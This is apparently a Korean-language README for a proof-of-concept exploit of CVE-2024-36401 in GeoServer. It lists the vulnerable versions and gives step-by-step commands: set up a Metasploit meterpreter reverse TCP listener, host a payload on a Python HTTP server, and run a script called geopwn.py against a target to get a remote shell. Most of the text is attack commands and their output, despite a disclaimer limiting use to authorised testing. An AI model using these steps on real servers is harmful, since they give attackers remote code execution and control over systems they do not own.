CVE-2024-36401-PoC

CVE-2024-36401 GeoServer에 대한 개념 증명 익스플로잇
취약한 GeoServer 버전: 2.23.6 미만 | 2.24.4 미만 | 2.25.2 미만

!!! 보안 테스트 목적으로만 사용하세요 !!!
******************************************************
소유하지 않은 시스템이나 명시적 허가 없이 이 도구를 사용하지 마십시오!!!

실행 방법...

1. Metasploit에서 리스너 시작
   • root@kitploit:~

     msf6 > use exploit/multi/handler
     msf6 > exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
     msf6 > exploit(multi/handler) > set LHOST 10.10.10.1 <--(set to your IP)
     msf6 > exploit(multi/handler) > set LPORT 1234 <--(you can leave default, or change to your preference)
     msf6 > exploit(multi/handler) > run
     
     [*] Started reverse TCP handler on 10.10.10.1:1234
     
     

2. Python으로 HTTP 서버 시작
   • root@kitploit:~

     hacker@kali~> python3 -m http.server
     Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
     

3. 익스플로잇 실행
   • root@kitploit:~

     hacker@kali~> python3 ./geopwn.py <target_domain_or_IP> <payload_URL> <LHOST> <LPORT>